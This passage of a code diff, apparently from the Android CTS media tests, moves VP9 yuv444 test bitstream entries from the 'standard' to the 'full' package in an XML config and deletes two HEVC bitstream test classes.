+    <value>mime=video/x-vnd.on2.vp9,size=67127,width=358,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_360x240p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16458,width=360,height=240,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16458,width=360,height=240,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_360x360p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18840,width=360,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18840,width=360,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_360x480p50f32_300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=25434,width=360,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=25434,width=360,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_360x636p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=66971,width=360,height=636,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=66971,width=360,height=636,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_360x638p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=67218,width=360,height=638,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=67218,width=360,height=638,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_360x640p50f32_400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=33076,width=360,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=33076,width=360,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_3840x2160p50f32_16500kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1322308,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -40956,7 +40956,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=2654497,width=3840,height=3840,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_384x512p50f32_300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=26785,width=384,height=512,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=26785,width=384,height=512,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_4096x2304p50f32_18800kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2010818,width=4096,height=2304,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -40980,148 +40980,148 @@
     <value>mime=video/x-vnd.on2.vp9,size=2915544,width=4608,height=8192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_472x472p50f32_400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=33411,width=472,height=472,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=33411,width=472,height=472,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_480x320p50f32_300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=24597,width=480,height=320,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=24597,width=480,height=320,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_480x360p50f32_300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=26501,width=480,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=26501,width=480,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_480x480p50f32_400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=33072,width=480,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=33072,width=480,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_480x640p50f32_600kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=48378,width=480,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=48378,width=480,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_480x720p50f32_600kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=48485,width=480,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=48485,width=480,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_480x848p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=64917,width=480,height=848,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=64917,width=480,height=848,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_48x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=23778,width=48,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=23778,width=48,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_5120x7680p50f32_24000kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2942957,width=5120,height=7680,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_512x288p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19771,width=512,height=288,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19771,width=512,height=288,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_512x384p50f32_300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=27597,width=512,height=384,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=27597,width=512,height=384,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_512x512p50f32_500kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=40595,width=512,height=512,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=40595,width=512,height=512,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_528x704p50f32_700kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=56115,width=528,height=704,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=56115,width=528,height=704,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_576x1024p50f32_1100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88403,width=576,height=1024,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88403,width=576,height=1024,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_576x704p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=64469,width=576,height=704,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=64469,width=576,height=704,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_576x720p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=64174,width=576,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=64174,width=576,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_600x800p50f32_900kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=72785,width=600,height=800,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=72785,width=600,height=800,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_6144x8192p50f32_24000kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2947915,width=6144,height=8192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_636x358p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=76352,width=636,height=358,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=76352,width=636,height=358,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_636x360p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=76712,width=636,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=76712,width=636,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_638x356p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=76817,width=638,height=356,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=76817,width=638,height=356,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_638x360p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=77078,width=638,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=77078,width=638,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_640x356p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=76621,width=640,height=356,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=76621,width=640,height=356,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_640x358p50f32_400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=33540,width=640,height=358,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=33540,width=640,height=358,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_640x360p50f32_400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=33590,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=33590,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_640x480p50f32_600kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=48070,width=640,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=48070,width=640,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_640x640p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=64543,width=640,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=64543,width=640,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_640x848p50f32_1000kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=81228,width=640,height=848,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=81228,width=640,height=848,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_640x960p50f32_1200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=97200,width=640,height=960,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=97200,width=640,height=960,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_64x1080p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18940,width=64,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18940,width=64,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_64x1280p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19003,width=64,height=1280,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19003,width=64,height=1280,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_64x1920p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16413,width=64,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16413,width=64,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_64x48p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=24109,width=64,height=48,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=24109,width=64,height=48,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_64x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=25225,width=64,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=25225,width=64,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_64x720p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18019,width=64,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18019,width=64,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_64x96p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=25618,width=64,height=96,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=25618,width=64,height=96,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_704x528p50f32_700kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=56582,width=704,height=528,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=56582,width=704,height=528,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_704x576p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=64377,width=704,height=576,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=64377,width=704,height=576,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_704x704p50f32_900kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=72648,width=704,height=704,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=72648,width=704,height=704,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_720x1280p50f32_1800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=152582,width=720,height=1280,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=152582,width=720,height=1280,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_720x16p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21218,width=720,height=16,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21218,width=720,height=16,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_720x480p50f32_600kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=49152,width=720,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=49152,width=720,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_720x576p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=64588,width=720,height=576,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=64588,width=720,height=576,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_720x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20336,width=720,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20336,width=720,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_720x720p50f32_1000kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=79629,width=720,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=79629,width=720,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_720x960p50f32_1300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=104192,width=720,height=960,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=104192,width=720,height=960,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_72x128p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=22782,width=72,height=128,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=22782,width=72,height=128,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_72x96p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=24616,width=72,height=96,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=24616,width=72,height=96,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_7680x4320p50f32_24000kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2528963,width=7680,height=4320,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -41133,13 +41133,13 @@
     <value>mime=video/x-vnd.on2.vp9,size=2976882,width=7680,height=7680,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_768x1024p50f32_1500kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=121463,width=768,height=1024,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=121463,width=768,height=1024,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_800x600p50f32_900kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=71783,width=800,height=600,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=71783,width=800,height=600,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_800x800p50f32_1200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=97609,width=800,height=800,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=97609,width=800,height=800,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_8192x4608p50f32_24000kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=3037463,width=8192,height=4608,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -41151,48 +41151,48 @@
     <value>mime=video/x-vnd.on2.vp9,size=2989900,width=8192,height=8192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_848x480p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=64696,width=848,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=64696,width=848,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_848x640p50f32_1000kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=80625,width=848,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=80625,width=848,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_848x848p50f32_1400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=115801,width=848,height=848,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=115801,width=848,height=848,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_8x8p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=2838,width=8,height=8,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=2838,width=8,height=8,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_960x1280p50f32_2400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=209021,width=960,height=1280,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=209021,width=960,height=1280,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_960x1440p50f32_2700kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=234841,width=960,height=1440,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=234841,width=960,height=1440,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_960x640p50f32_1200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=96016,width=960,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=96016,width=960,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_960x720p50f32_1300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=104193,width=960,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=104193,width=960,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_960x960p50f32_1800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=147504,width=960,height=960,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=147504,width=960,height=960,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_96x128p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21713,width=96,height=128,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21713,width=96,height=128,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_96x144p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=22270,width=96,height=144,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=22270,width=96,height=144,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_96x176p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20763,width=96,height=176,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20763,width=96,height=176,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_96x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=26504,width=96,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=26504,width=96,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_96x72p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=23384,width=96,height=72,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=23384,width=96,height=72,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_96x96p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=25612,width=96,height=96,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=25612,width=96,height=96,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
 </dynamicConfig>

diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv400BitstreamsTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv400BitstreamsTest.java
deleted file mode 100644
index 68903cf..0000000
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv400BitstreamsTest.java
+++ /dev/null

@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts.bitstreams;
-
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized.Parameters;
-import org.junit.runners.Parameterized.UseParametersRunnerFactory;
-
-@RunWith(DeviceJUnit4Parameterized.class)
-@UseParametersRunnerFactory(DeviceJUnit4ClassRunnerWithParameters.RunnerFactory.class)
-public class HevcYuv400BitstreamsTest extends MediaBitstreamsTest {
-
-    @Parameters(name = "{1}")
-    public static Iterable<Object[]> bitstreams() {
-        return MediaBitstreamsTest.bitstreams("hevc/yuv400", BitstreamPackage.STANDARD);
-    }
-
-    public HevcYuv400BitstreamsTest(String prefix, String path,
-            BitstreamPackage pkg, BitstreamPackage packageToRun) {
-        super(prefix, path, pkg, packageToRun);
-    }
-
-}

diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv422BitstreamsTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv422BitstreamsTest.java
deleted file mode 100644
index 329932e..0000000
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv422BitstreamsTest.java
+++ /dev/null

@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts.bitstreams;
-
